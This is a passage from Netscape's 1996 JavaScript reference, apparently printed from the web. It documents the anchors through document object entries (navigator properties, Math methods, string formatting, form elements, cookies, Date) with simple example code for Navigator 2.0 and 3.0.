first window, the onClick event handler verifies that the anchor exists before setting
window2.location.hash to the specified anchor name.

LINK1.HTML, which defines the first window and its buttons, contains the following code:

<HTML>
<HEAD>
<TITLE>Links and Anchors: Window 1</TITLE>
</HEAD>
<BODY>
<SCRIPT>
window2=open("link2.html","secondLinkWindow","scrollbars=yes,width=250, height=400")

function linkToWindow(num) {
if (window2.document.anchors.length > num)
window2.location.hash=num
else
alert("Anchor does not exist!")
}

</SCRIPT>
<B>Links and Anchors</B>
<FORM>
<P>Click a button to display that anchor in window #2
<P><INPUT TYPE="button" VALUE="0" NAME="link0_button"
onClick="linkToWindow(this.value)">
<INPUT TYPE="button" VALUE="1" NAME="link0_button"
onClick="linkToWindow(this.value)">
<INPUT TYPE="button" VALUE="2" NAME="link0_button"
onClick="linkToWindow(this.value)">
<INPUT TYPE="button" VALUE="3" NAME="link0_button"
onClick="linkToWindow(this.value)">
<INPUT TYPE="button" VALUE="4" NAME="link0_button"
onClick="linkToWindow(this.value)">
</FORM>
</BODY>
</HTML>

LINK2.HTML, which contains the anchors, contains the following code:

<HTML>
<HEAD>
<TITLE>Links and Anchors: Window 2</TITLE>
</HEAD>
<BODY>
<A NAME="0"><B>Some numbers</B> (Anchor 0)</A>
<LI>one
<LI>two
<LI>three
<LI>four
<LI>five
<LI>six
<LI>seven
<LI>eight
<LI>nine
<P><A NAME="1"><B>Some colors</B> (Anchor 1)</A>
<LI>red

8 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

<LI>orange
<LI>yellow
<LI>green
<LI>blue
<LI>purple
<LI>brown
<LI>black
<P><A NAME="2"><B>Some music types</B> (Anchor 2)</A>
<LI>R&B
<LI>Jazz
<LI>Soul
<LI>Reggae
<LI>Rock
<LI>Country
<LI>Classical
<LI>Opera
<P><A NAME="3"><B>Some countries</B> (Anchor 3)</A>
<LI>Afghanistan
<LI>Brazil
<LI>Canada
<LI>Finland
<LI>India
<LI>Italy
<LI>Japan
<LI>Kenya
<LI>Mexico
<LI>Nigeria
</BODY>
</HTML>

See also

·
·
link object
anchor method

anchors property
An array of objects corresponding to named anchors in source order. See anchor object.

appCodeName property
A string specifying the code name of the browser.

Syntax
navigator.appCodeName

Property of
navigator

Description
appCodeName is a read-only property.

Examples

9 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

The following example displays the value of the appCodeName property:

document.write("The value of navigator.appCodeName is " +


navigator.appCodeName)

For Navigator 2.0, this displays the following:

The value of navigator.appCodeName is Mozilla

See also

· appName, appVersion, userAgent properties

appName property
A string specifying the name of the browser.

Syntax
navigator.appName

Property of
navigator

Description
appName is a read-only property.

Examples
The following example displays the value of the appName property:

document.write("The value of navigator.appName is " +


navigator.appName)

For Navigator 2.0, this displays the following:

The value of navigator.appName is Netscape

See also

· appVersion, appCodeName, userAgent properties

appVersion property
A string specifying version information for the Navigator.

Syntax
navigator.appVersion

10 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Property of
navigator

Description
The appVersion property specifies version information in the following format:

releaseNumber (platform; country)

The values contained in this format are the following:


· releaseNumber is the version number of the Navigator. For example, "2.0b4" specifies
Navigator 2.0, beta 4.
· platform is the platform upon which the Navigator is running. For example, "Win16" specifies
a 16-bit version of Windows such as Windows 3.11.
· country is either "I" for the international release, or "U" for the domestic U.S. release. The
domestic release has a stronger encryption feature than the international release.

appVersion is a read-only property.

Examples
Example 1. The following example displays version information for the Navigator:

document.write("The value of navigator.appVersion is " +


navigator.appVersion)

For Navigator 2.0 on Windows 95, this displays the following:

The value of navigator.appVersion is 2.0 (Win95, I)

Example 2. The following example populates a textarea object with newline characters separating
each line. Because the newline character varies from platform to platform, the example tests the
appVersion property to determine whether the user is running Windows (appVersion contains
"Win" for all versions of Windows). If the user is running Windows, the newline character is set
to \r\n; otherwise, it's set to \n, which is the newline character for Unix and Macintosh.

<SCRIPT>
var newline=null
function populate(textareaObject){
if (navigator.appVersion.lastIndexOf('Win') != -1)
newline="\r\n"
else newline="\n"
textareaObject.value="line 1" + newline + "line 2" + newline + "line 3"
}
</SCRIPT>
<FORM NAME="form1">
<BR><TEXTAREA NAME="testLines" ROWS=8 COLS=55></TEXTAREA>
<P><INPUT TYPE="button" VALUE="Populate the textarea object"
onClick="populate(document.form1.testLines)">
</TEXTAREA>
</FORM>

See also

· appName, appCodeName, userAgent properties

11 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

asin method
Returns the arc sine (in radians) of a number.

Syntax
Math.asin( number)

number is a numeric expression between -1 and 1, or a property of an existing object.

Method of
Math

Description
The asin method returns a numeric value between -pi/2 and pi/2 radians. If the value of number is
outside the suggested range, the return value is always 0.

Examples
// Displays the value 1.570796326794897 (pi/2)
document.write("The arc sine of 1 is " + Math.asin(1))

// Displays the value -1.570796326794897 (-pi/2)


document.write("<P>The arc sine of -1 is " + Math.asin(-1))

// Displays the value 0 because the argument is out of range


document.write("<P>The arc sine of 2 is " + Math.asin(2))

See also

· acos, atan, cos, sin, tan methods

atan method
Returns the arc tangent (in radians) of a number.

Syntax
Math.atan( number)

number is either a numeric expression or a property of an existing object, representing the tangent
of an angle.

Method of
Math

Description

12 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

The atan method returns a numeric value between -pi/2 and pi/2 radians.

Examples
// Displays the value 0.7853981633974483
document.write("The arc tangent of 1 is " + Math.atan(1))

// Displays the value -0.7853981633974483


document.write("<P>The arc tangent of -1 is " + Math.atan(-1))

// Displays the value 0.4636476090008061


document.write("<P>The arc tangent of .5 is " + Math.atan(.5))

See also

· acos, asin, cos, sin, tan methods

back method
Loads the previous URL in the history list.

Syntax
history.back()

Method of
history

Description
This method performs the same action as a user choosing the Back button in the Navigator. The
back method is the same as history.go(-1) .

Examples
The following custom buttons perform the same operations as the Navigator Back and Forward
buttons:

<P><INPUT TYPE="button" VALUE="< Back"


onClick="history.back()">
<P><INPUT TYPE="button" VALUE="> Forward"
onClick="history.forward()">

See also

· forward, go methods

bgColor property
A string specifying the color of the document background.

13 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Syntax
document.bgColor

Property of
document

Description
The bgColor property is expressed as a hexadecimal RGB triplet or as one of the string literals
listed in Color Values. This property is the JavaScript reflection of the BGCOLOR attribute of the
<BODY> tag. The default value of this property is set by the user on the Colors tab of the
Preferences dialog box, which is displayed by choosing General Preferences from the Options
menu.

You can set the bgColor property at any time.

If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For
example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the
RGB triplet for salmon is "FA8072".

Examples
The following example sets the color of the document background to aqua using a string literal:

document.bgColor="aqua"

The following example sets the color of the document background to aqua using a hexadecimal
triplet:

document.bgColor="00FFFF"

See also

· alinkColor, fgColor, linkColor, and vlinkColor properties

big method
Causes a string to be displayed in a big font as if it were in a <BIG> tag.

Syntax
stringName.big()

stringName is any string or a property of an existing object.

Method of
string

Description

14 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Use the big method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses string methods to change the size of a string:

var worldString="Hello, world"

document.write(worldString.small())
document.write("<P>" + worldString.big())
document.write("<P>" + worldString.fontsize(7))

The previous example produces the same output as the following HTML:

<SMALL>Hello, world</SMALL>
<P><BIG>Hello, world</BIG>
<P><FONTSIZE=7>Hello, world</FONTSIZE>

See also

· fontsize, small methods

blink method
Causes a string to blink as if it were in a <BLINK> tag.

Syntax
stringName.blink()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the blink method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses string methods to change the formatting of a string:

var worldString="Hello, world"

document.write(worldString.blink())
document.write("<P>" + worldString.bold())
document.write("<P>" + worldString.italics())
document.write("<P>" + worldString.strike())

The previous example produces the same output as the following HTML:

15 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

<BLINK>Hello, world</BLINK>
<P><B>Hello, world</B>
<P><I>Hello, world</I>
<P><STRIKE>Hello, world</STRIKE>

See also

· bold, italics, strike methods

blur method
Changed in Navigator 3.0

Removes focus from the specified object.

Syntax
1. passwordName.blur()
2. selectName.blur()
3. textName.blur()
4. textareaName.blur()

passwordName is either the value of the NAME attribute of a password object or an element in
the elements array.
selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
textName is either the value of the NAME attribute of a text object or an element in the elements
array.
textareaName is either the value of the NAME attribute of a textarea object or an element in the
elements array.

Method of
password, select, text, textarea

Description
Use the blur method to remove focus from a specific form element.

Examples
The following example removes focus from the password element userPass:

userPass.blur()

This example assumes that the password is defined as:

<INPUT TYPE="password" NAME="userPass">

See also

· focus, select methods

16 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

bold method
Causes a string to be displayed as bold as if it were in a <B> tag.

Syntax
stringName.bold()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the bold method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses string methods to change the formatting of a string:

var worldString="Hello, world"

document.write(worldString.blink())
document.write("<P>" + worldString.bold())
document.write("<P>" + worldString.italics())
document.write("<P>" + worldString.strike())

The previous example produces the same output as the following HTML:

<BLINK>Hello, world</BLINK>
<P><B>Hello, world</B>
<P><I>Hello, world</I>
<P><STRIKE>Hello, world</STRIKE>

See also

· blink, italics, strike methods

button object
Changed in Navigator 3.0

A pushbutton on an HTML form.

Syntax
To define a button:

<INPUT
TYPE="button"

17 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

NAME=" buttonName"
VALUE=" buttonText"
[onClick=" handlerText"]>

NAME="buttonName" specifies the name of the button object. You can access this value using
the name property.
VALUE="buttonText" specifies the label to display on the button face. You can access this value
using the value property.

To use a button object's properties and methods:

1. buttonName.propertyName
2. buttonName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

buttonName is the value of the NAME attribute of a button object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a button object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A button object on a form looks as follows:

Click me

A button object is a form element and must be defined within a <FORM> tag.

The button object is a custom button that you can use to perform an action you define. The button
executes the script specified by its onClick event handler.

Properties

·
·
name reflects the NAME attribute
value reflects the VALUE attribute

Methods

· click

Event handlers

· onClick

Examples

18 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

The following example creates a button named calcButton. The text "Calculate" is displayed on
the face of the button. When the button is clicked, the function calcFunction() is called.

<INPUT TYPE="button" VALUE="Calculate" NAME="calcButton"


onClick="calcFunction(this.form)">

See also

· form, reset, and submit objects

ceil method
Returns the least integer greater than or equal to a number.

Syntax
Math.ceil( number)

number is any numeric expression or a property of an existing object.

Method of
Math

Examples
//Displays the value 46
document.write("The ceil of 45.95 is " + Math.ceil(45.95))

//Displays the value -45


document.write("<P>The ceil of -45.95 is " + Math.ceil(-45.95))

See also

· floor method

charAt method
Returns the character at the specified index.

Syntax
stringName.charAt( index)

stringName is any string or a property of an existing object.


index is any integer from 0 to stringName.length - 1, or a property of an existing object.

Method of
string

19 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Description
Characters in a string are indexed from left to right. The index of the first character is 0, and the
index of the last character is stringName.length - 1. If the index you supply is out of range,
JavaScript returns an empty string.

Examples
The following example displays characters at different locations in the string "Brave new world".

var anyString="Brave new world"

document.write("The character at index 0 is " + anyString.charAt(0))


document.write("The character at index 1 is " + anyString.charAt(1))
document.write("The character at index 2 is " + anyString.charAt(2))
document.write("The character at index 3 is " + anyString.charAt(3))
document.write("The character at index 4 is " + anyString.charAt(4))

See also

· indexOf, lastIndexOf methods

checkbox object
Changed in Navigator 3.0

A checkbox on an HTML form. A checkbox is a toggle switch that lets the user set a value on or
off.

Syntax
To define a checkbox, use standard HTML syntax with the addition of the onClick event handler:

<INPUT
TYPE="checkbox"
NAME=" checkboxName"
VALUE=" checkboxValue"
[CHECKED]
[onClick=" handlerText"]>
textToDisplay

NAME="checkboxName" specifies the name of the checkbox object. You can access this value
using the name property.
VALUE="checkboxValue" specifies a value that is returned to the server when the checkbox is
selected and the form is submitted. This defaults to "on". You can access this value using the
value property.
CHECKED specifies that the checkbox is displayed as checked. You can access this value using
the defaultChecked property.
textToDisplay specifies the label to display beside the checkbox.

To use a checkbox object's properties and methods:

1. checkboxName.propertyName
2. checkboxName.methodName(parameters)
3. formName.elements[ index].propertyName

20 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

4. formName.elements[ index].methodName(parameters)

checkboxName is the value of the NAME attribute of a checkbox object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a checkbox object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A checkbox object on a form looks as follows:

Overnight delivery

A checkbox object is a form element and must be defined within a <FORM> tag.

Use the checked property to specify whether the checkbox is currently checked. Use the
defaultChecked property to specify whether the checkbox is checked when the form is loaded.

Properties

·
·
checked lets you programatically check a checkbox
defaultChecked reflects the CHECKED attribute
·
·
name reflects the NAME attribute
value reflects the VALUE attribute

Methods

· click

Event handlers

· onClick

Examples
Example 1. The following example displays a group of four checkboxes that all appear checked
by default.

<B>Specify your music preferences (check all that apply):</B>


<BR><INPUT TYPE="checkbox" NAME="musicpref_rnb" CHECKED> R&B
<BR><INPUT TYPE="checkbox" NAME="musicpref_jazz" CHECKED> Jazz
<BR><INPUT TYPE="checkbox" NAME="musicpref_blues" CHECKED> Blues
<BR><INPUT TYPE="checkbox" NAME="musicpref_newage" CHECKED> New Age

Example 2. The following example contains a form with three text boxes and one checkbox. The
checkbox lets the user choose whether the text fields are converted to upper case. Each text field
has an onChange event handler that converts the field value to upper case if the checkbox is
checked. The checkbox has an onClick event handler that converts all fields to upper case when

21 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

the user checks the checkbox.

<HTML>
<HEAD>
<TITLE>Checkbox object example</TITLE>
</HEAD>
<SCRIPT>
function convertField(field) {
if (document.form1.convertUpper.checked) {
field.value = field.value.toUpperCase()}
}
function convertAllFields() {
document.form1.lastName.value = document.form1.lastName.value.toUpperCase()
document.form1.firstName.value = document.form1.firstName.value.toUpperCase()
document.form1.cityName.value = document.form1.cityName.value.toUpperCase()
}
</SCRIPT>
<BODY>
<FORM NAME="form1">
<B>Last name:</B>
<INPUT TYPE="text" NAME="lastName" SIZE=20 onChange="convertField(this)">
<BR><B>First name:</B>
<INPUT TYPE="text" NAME="firstName" SIZE=20 onChange="convertField(this)">
<BR><B>City:</B>
<INPUT TYPE="text" NAME="cityName" SIZE=20 onChange="convertField(this)">
<P><INPUT TYPE="checkBox" NAME="convertUpper"
onClick="if (this.checked) {convertAllFields()}"
> Convert fields to upper case
</FORM>
</BODY>
</HTML>

See also

· form and radio objects

checked property
A Boolean value specifying the selection state of a checkbox object or radio button.

Syntax
1. checkboxName.checked
2. radioName[index].checked

checkboxName is either the value of the NAME attribute of a checkbox object or an element in
the elements array.
radioName is the value of the NAME attribute of a radio object.
index is an integer representing a radio button in a radio object.

Property of
checkbox, radio

Description
If a checkbox or radio button is selected, the value of its checked property is true; otherwise, it is
false.

22 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

You can set the checked property at any time. The display of the checkbox or radio button
updates immediately when you set the checked property.

Examples
The following example examines an array of radio buttons called musicType on the musicForm
form to determine which button is selected. The VALUE attribute of the selected button is
assigned to the checkedButton variable.

function stateChecker() {
var checkedButton = ""
for (var i in document.musicForm.musicType) {
if (document.musicForm.musicType[i].checked=="1") {
checkedButton=document.musicForm.musicType[i].value
}
}
}

See also

· defaultChecked property

clearTimeout method
Cancels a timeout that was set with the setTimeout method.

Syntax
clearTimeout( timeoutID)

timeoutID is a timeout setting that was returned by a previous call to the setTimeout method.

Method of
frame, window

Description
See the description for the setTimeout method.

Examples
See the examples for the setTimeout method.

See also

· setTimeout method

click method

23 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Simulates a mouse click on the calling form element.

Syntax
1. buttonName.click()
2. radioName[index].click()
3. checkboxName.click()

buttonName is either the value of the NAME attribute of a button, reset, or submit object or an
element in the elements array.
radioName is the value of the NAME attribute of a radio object or an element in the elements
array.
index is an integer representing a radio button in a radio object.
checkboxName is either the value of the NAME attribute of a checkbox object or an element in
the elements array.

Method of
button, checkbox, radio, reset, submit

Description
The effect of the click method varies according to the calling element:
·
·
For button, reset, and submit, performs the same action as clicking the button.
For a radio, selects a radio button.
· For a checkbox, checks the checkbox and sets its value to on.

Examples
The following example toggles the selection status of the first radio button in the musicType radio
object on the musicForm form:

document.musicForm.musicType[0].click()

The following example toggles the selection status of the newAge checkbox on the musicForm
form:

document.musicForm.newAge.click()

close method (document object)


Closes an output stream and forces data sent to layout to display.

Syntax
document.close()

Method of
document

24 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Description
The close method closes a stream opened with the document.open() method. If the stream was
opened to layout, the close method forces the content of the stream to display. Font style tags,
such as <BIG> and <CENTER>, automatically flush a layout stream.

The close method also stops the "meteor shower" in the Netscape icon and displays "Document:
Done" in the status bar.

Examples
The following function calls document.close() to close a stream that was opened with
document.open(). The document.close() method forces the content of the stream to display in the
window.

function windowWriter1() {
var myString = "Hello, world!"
msgWindow.document.open()
msgWindow.document.write(myString + "<P>")
msgWindow.document.close()
}

See also

· open, write, writeln methods

close method (window object)


Changed in Navigator 3.0

Closes the specified window.

Syntax
windowReference.close()

windowReference is a valid way of referring to a window, as described in the window object.

Method of
window

Description
The close method closes the specified window. If you call close without specifying a
windowReference, JavaScript closes the current window.

In event handlers, you must specify window.close() instead of simply using close(). Due to the
scoping of static objects in JavaScript, a call to close() without specifying an object name is
equivalent to document.close().

Examples

25 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Any of the following examples close the current window:

window.close()
self.close()
close()

The following example closes the messageWin window:

messageWin.close()

This example assumes that the window was opened in a manner similar to the following:

messageWin=window.open("")

See also

· open method

confirm method
Displays a Confirm dialog box with the specified message and OK and Cancel buttons.

Syntax
confirm("message")

message is any string or a property of an existing object.

Method of
window

Description
Use the confirm method to ask the user to make a decision that requires either an OK or a Cancel.
The message argument specifies a message that prompts the user for the decision. The confirm
method returns true if the user chooses OK and false if the user chooses Cancel.

Although confirm is a method of the window object, you do not need to specify a
windowReference when you call it. For example, windowReference.confirm() is unnecessary.

Examples
This example uses the confirm method in the confirmCleanUp() function to confirm that the user
of an application really wants to quit. If the user chooses OK, the custom cleanUp() function
closes the application.

function confirmCleanUp() {
if (confirm("Are you sure you want to quit this application?")) {
cleanUp()
}
}

You can call the confirmCleanUp() function in the onClick event handler of a form's pushbutton,

26 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

as shown in the following example:

<INPUT TYPE="button" VALUE="Quit" onClick="confirmCleanUp()">

See also

· alert, prompt methods

cookie property
String value of a cookie, which is a small piece of information stored by the Navigator in the
cookies.txt file.

Syntax
document.cookie

Property of
document

Description
Use string methods such as substring, charAt, indexOf, and lastIndexOf to determine the value
stored in the cookie. See the Netscape cookie specification for a complete specification of the
cookie syntax.

You can set the cookie property at any time.

Examples
The following function uses the cookie property to record a reminder for users of an application.
The "expires=" component sets an expiration date for the cookie, so it persists beyond the current
browser session. The format of the date must be

Wdy, DD-Mon-YY HH:MM:SS GMT

where Wdy is the full name of the day of the week, DD is an integer representation of the day of
the month, Mon is the month, YY is the last two digits of the year, and HH, MM, and SS are
two-digit representations of hours, minutes, and seconds, respectively.

This is the same date format as returned by Date.toGMTString, except:

·
·
Dashes are added between the day, month, and year
Year is two-digit for cookies.

For example, a valid cookie expiration date is:


expires=Wednesday, 09-Nov-99 23:12:40 GMT

function RecordReminder(time, expression) {


// Record a cookie of the form "@ =" to map
// from in milliseconds since the epoch,
// returned by Date.getTime(), onto an encoded expression,

27 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

// (encoded to contain no white space, semicolon,


// or comma characters)
document.cookie = "@" + time + "=" + expression + ";"
// set the cookie expiration time to one day
// beyond the reminder time
document.cookie += "expires=" + cookieDate(time + 24*60*60*1000)
// cookieDate is a function that formats the date according to the cookie spec
}

When the user loads the page that contains this function, another function uses indexOf("@") and
indexOf("=") to determine the date and time stored in the cookie.

See also

· hidden object

cos method
Returns the cosine of a number.

Syntax
Math.cos( number)

number is a numeric expression representing the size of an angle in radians, or a property of an


existing object.

Method of
Math

Description
The cos method returns a numeric value between -1 and 1, which represents the cosine of the
angle.

Examples

//Displays the value 6.123031769111886e-017


document.write("The cosine of PI/2 radians is " + Math.cos(Math.PI/2))

//Displays the value -1


document.write("<P>The cosine of PI radians is " + Math.cos(Math.PI))

//Displays the value 1


document.write("<P>The cosine of 0 radians is " + Math.cos(0))

See also

· acos, asin, atan, sin, tan methods

28 of 28 30.08.96 17:26
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

Date object
Changed in Navigator 3.0

Lets you work with dates and times.

Syntax
To create a Date object:

1. dateObjectName = new Date()


2. dateObjectName = new Date(" month day, year hours:minutes:seconds")
3. dateObjectName = new Date( year, month, day)
4. dateObjectName = new Date( year, month, day, hours, minutes, seconds)

dateObjectName is either the name of a new object or a property of an existing object.


month, day, year, hours, minutes, and seconds are string values for form 2 of the syntax. For
forms 3 and 4, they are integer values.

To use Date methods:

dateObjectName.methodName(parameters)

dateObjectName is either the name of an existing Date object or a property of an existing object..
methodName is one of the methods listed below.

Exceptions: The Date object's parse and UTC methods are static methods that you use as follows:

Date.UTC( parameters)
Date.parse( parameters)

Property of

· None.

Description
The Date object is a built-in JavaScript object.

Form 1 of the syntax creates today's date and time. If you omit hours, minutes, or seconds from
form 2 or 4 of the syntax, the value will be set to zero.

The way JavaScript handles dates is very similar to the way Java handles dates: both languages
have many of the same date methods, and both store dates internally as the number of
milliseconds since January 1, 1970 00:00:00. Dates prior to 1970 are not allowed.

Properties

· None.

Methods

·
·
getDate
getDay
· getHours

1 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

·
·
getHours
getMinutes
·
·
getMonth
getSeconds
·
·
getTime
getTimezoneOffset
·
·
getYear
parse
·
·
setDate
setHours
·
·
setMinutes
setMonth
·
·
setSeconds
setTime
·
·
setYear
toGMTString
·
·
toLocaleString
UTC

Event handlers

· None. Built-in objects do not have event handlers.

Examples
today = new Date()
birthday = new Date("December 17, 1995 03:24:00")
birthday = new Date(95,12,17)
birthday = new Date(95,12,17,3,24,0)

defaultChecked property
A Boolean value indicating the default selection state of a checkbox or radio button.

Syntax
1. checkboxName.defaultChecked
2. radioName[index].defaultChecked

checkboxName is either the value of the NAME attribute of a checkbox object or an element in
the elements array.
radioName is the value of the NAME attribute of a radio object.
index is an integer representing a radio button in a radio object.

Property of
checkbox, radio

Description
If an checkbox or radio button is selected by default, the value of the defaultChecked property is
true; otherwise, it is false. defaultChecked initially reflects whether the CHECKED attribute is
used within an <INPUT> tag; however, setting defaultChecked overrides the CHECKED

2 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

used within an <INPUT> tag; however, setting defaultChecked overrides the CHECKED
attribute.

You can set the defaultChecked property at any time. The display of the checkbox or radio button
does not update when you set the defaultChecked property, only when you set the checked
property.

Examples
The following example resets an array of radio buttons called musicType on the musicForm form
to the default selection state.

function radioResetter() {
var i=""
for (i in document.musicForm.musicType) {
if (document.musicForm.musicType[i].defaultChecked==true) {
document.musicForm.musicType[i].checked=true
}
}
}

See also

· checked property

defaultSelected property
Changed in Navigator 3.0

A Boolean value indicating the default selection state of an option in a select object.

Syntax
selectName.options[ index].defaultSelected

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
index is an integer representing an option in a select object.

Property of
options array

Description
If an option in a select object is selected by default, the value of the defaultSelected property is
true; otherwise, it is false. defaultSelected initially reflects whether the SELECTED attribute is
used within an <OPTION> tag; however, setting defaultSelected overrides the SELECTED
attribute.

You can set the defaultSelected property at any time. The display of the select object does not
update when you set the defaultSelected property, only when you set the selected or selectedIndex
properties.

A select object created without the MULTIPLE attribute can have only one option selected by

3 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

A select object created without the MULTIPLE attribute can have only one option selected by
default. When you set defaultSelected in such an object, any previous default selections, including
defaults set with the SELECTED attribute, are cleared. If you set defaultSelected in a select object
created with the MULTIPLE attribute, previous default selections are not affected.

Examples
In the following example, the restoreDefault() function returns the musicType select object to its
default state. The for loop uses the options array to evaluate every option in the select object. The
if statement sets the selected property if defaultSelected is true.

function restoreDefault() {
for (var i = 0; i < document.musicForm.musicType.length; i++) {
if (document.musicForm.musicType.options[i].defaultSelected == true) {
document.musicForm.musicType.options[i].selected=true
}
}
}

The previous example assumes that the select object is similar to the following:

<SELECT NAME="musicType">
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
</SELECT>

See also

· index, selected, selectedIndex properties

defaultStatus property
The default message displayed in the status bar at the bottom of the window.

Syntax
windowReference.defaultStatus

windowReference is a valid way of referring to a window, as described in the window object.

Property of
window

Description
The defaultStatus message appears when nothing else is in the status bar. Do not confuse the
defaultStatus property with the status property. The status property reflects a priority or transient
message in the status bar, such as the message that appears when a mouseOver event occurs over
an anchor.

You can set the defaultStatus property at any time. You must return true if you want to set the
defaultStatus property in the onMouseOver event handler.

4 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

defaultStatus property in the onMouseOver event handler.

Examples
In the following example, the statusSetter() function sets both the status and defaultStatus
properties in an onMouseOver event handler:

function statusSetter() {
window.defaultStatus = "Click the link for the Netscape home page"
window.status = "Netscape home page"
}

<A HREF="http://www.netscape.com"
onMouseOver = "statusSetter(); return true">Netscape</A>

In the previous example, notice that the onMouseOver event handler returns a value of true. You
must return true to set status or defaultStatus in an event handler.

See also

· status property

defaultValue property
A string indicating the default value of a password, text, or textarea object.

Syntax
1. passwordName.defaultValue
2. textName.defaultValue
3. textareaName.defaultValue

passwordName is either the value of the NAME attribute of a password object or an element in
the elements array.
textName is either the value of the NAME attribute of a text object or an element in the elements
array.
textareaName is either the value of the NAME attribute of a textarea object or an element in the
elements array.

Property of
password, text, textarea

Description
The initial value of defaultValue differs for each object:
·
·
For text objects, it initially reflects the value of the VALUE attribute.
For textarea objects, it initially reflects the value specified between the <TEXTAREA> and
</TEXTAREA> tags.
· For password objects, it initially is null (for security reasons), regardless of the value of the
VALUE attribute.

Setting defaultValue programatically overrides the initial setting. If you programatically set
defaultValue for the password object and then evaluate it, JavaScript returns the current value.

5 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

You can set the defaultValue property at any time. The display of the related object does not
update when you set the defaultValue property, only when you set the value property.

Examples
The following function evaluates the defaultValue property of objects on the surfCity form and
displays the values in the msgWindow window:

function defaultGetter() {
msgWindow=window.open("")
msgWindow.document.write("hidden.defaultValue is " +
document.surfCity.hiddenObj.defaultValue + "<BR>")
msgWindow.document.write("password.defaultValue is " +
document.surfCity.passwordObj.defaultValue + "<BR>")
msgWindow.document.write("text.defaultValue is " +
document.surfCity.textObj.defaultValue + "<BR>")
msgWindow.document.write("textarea.defaultValue is " +
document.surfCity.textareaObj.defaultValue + "<BR>")
msgWindow.document.close()
}

See also

· value property

document object
Changed in Navigator 3.0

Contains information on the current document, and provides methods for displaying HTML
output to the user.

Syntax
To define a document object, use standard HTML syntax:

<BODY
BACKGROUND=" backgroundImage"
BGCOLOR=" backgroundColor"
TEXT=" foregroundColor"
LINK=" unfollowedLinkColor"
